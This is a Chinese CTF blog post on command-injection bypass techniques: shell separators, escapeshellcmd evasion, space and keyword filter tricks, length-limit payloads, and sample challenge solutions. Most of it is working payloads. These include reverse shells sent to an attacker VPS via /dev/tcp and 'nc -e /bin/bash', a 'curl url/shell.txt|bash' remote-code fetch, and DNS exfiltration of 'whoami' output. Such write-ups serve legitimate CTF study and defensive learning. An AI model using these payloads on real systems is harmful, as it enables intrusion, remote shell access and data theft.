详情可看如下两篇
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧
linux下的命令
查看文件
1 |
cat 由第一行开始显示内容,并将所有内容输出 |
查找文件
1 |
find . -name "fla*" |
寻找文件内容
1 |
grep -ar fla* / -a不忽略二进制文件 |
文件传输
1 |
curl |
列目录
1 |
ls dir |
命令分隔符
- %0a符号 换行符
- %0d符号 回车符
- ;符号 在 shell 中,担任”连续指令”功能的符号就是”分号”
- &符号 & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息
- |符号 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
- && 表示前一条命令执行成功时,才执行后一条命令
- || 表示上一条命令执行失败后,才执行下一条命令
- 命令终止符 %00%20#
查找未被过滤字符
1 |
|
绕过escapeshellcmd
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于
法一:win下执行bat
1 |
|
执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
payload:
1 |
dir=../ %1a whoami |
法二:宽字节注入
php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。
1 |
escapeshellcmd("echo ".chr(0xc0).";id"); |
之后该语句会变成
1 |
echo 繺;id |
从而实现 id 命令的注入。
空格过滤
法一: ${IFS}
$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
payload1:
1 |
ubuntu@VM-207-93-ubuntu:~$ cat flag |
payload2:
1 |
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag |
payload3:
1 |
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag |
法二: 重定向符<>
payload1:
1 |
ubuntu@VM-207-93-ubuntu:~$ cat<>flag |
payload2:
1 |
ubuntu@VM-207-93-ubuntu:~$ cat<flag |
黑名单绕过
法一: 拼接
1 |
ubuntu@VM-207-93-ubuntu:~$ a=c;b=at;c=flag;$a$b $c |
法二: 利用已存在的资源
从已有的文件或者环境变量中获得相应的字符。
法三: base64编码
payload1:
1 |
ubuntu@VM-207-93-ubuntu:~$ `echo "Y2F0IGZsYWc="|base64 -d` |
payload2:
1 |
ubuntu@VM-207-93-ubuntu:~$ echo "Y2F0IGZsYWc="|base64 -d|bash |
法四: 单引号、双引号
payload1:
1 |
ubuntu@VM-207-93-ubuntu:~$ c""at flag |
payload2:
1 |
ubuntu@VM-207-93-ubuntu:~$ c""at fl""ag |
payload3:
1 |
ubuntu@VM-207-93-ubuntu:~$ c""at fl''ag |
法五:反斜线 \
payload:
1 |
ubuntu@VM-207-93-ubuntu:~$ c\at fl\ag |
无回显
第一种是利用bash命令并在本地进行nc监听结果查看回连日志
先在vps处用nc进行监听
1 |
nc -l -p 8080 -vvv |
然后在靶机命令执行处输入
1 |
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 |
第二种是msf反向回连
同样vps用msf监听
vps的msf监听:
1 |
use exploit/multi/handler |
然后在靶机命令执行处输入
1 |
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1 |
第三种是利用DNS管道解析
1 |
|curl `whoami`.xxxx.xxx(子域名) |
`反引号在linux下是执行命令的特殊符号
0x05 长度限制
1 |
|
长度限制
文件构造
1 |
|
payload:
1 |
1>wget\ |
将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序
1 |
ls -t>a |
LINUX下一些已有字符
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘+’
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串
工具
例题
GCTF RCE
这题过滤了很多东西,下面说一下比较重要的
1 |
||&|;|%{}| |''|.| |
这里给个payload
1 |
%0acat%09 |
[BJDCTF 2nd]duangShell
vim编辑一个文件产生的临时文件,处理不当有可能造成泄露。其泄露方式为
文件名.swp 有些时候文件名前会有一个点.。然后获得这个.swp文件后,在Linux里通过命令 vim -r xxx.swp 来让临时文件恢复正常
1 |
|
本题的RCE绕过
poc1:通过 curl url获得某个网址的某个文件的内容,再通过管道符转移给bash处理,如:
curl url/shell.txt|bash shell.txt里是要执行的命令,本题建议在shell.txt里放反弹shell指令
poc2:
监听命令
攻击机
1 |
nc -lvvp port |
靶机上执行
1 |
nc vpsip port -e /bin/bash |
用find / -name flag 寻找flag
某题
1 |
|
没过滤dir和cut
1 |
cmd=dir%09.%09 |
cut
1 |
cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09 |
安网杯某题
1 |
|
payload
1 |
/?action=upload&data=<?=`more\$IFS\$9../../../../../../fl*\$IFS\$9/1`?> |
参考文章:
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论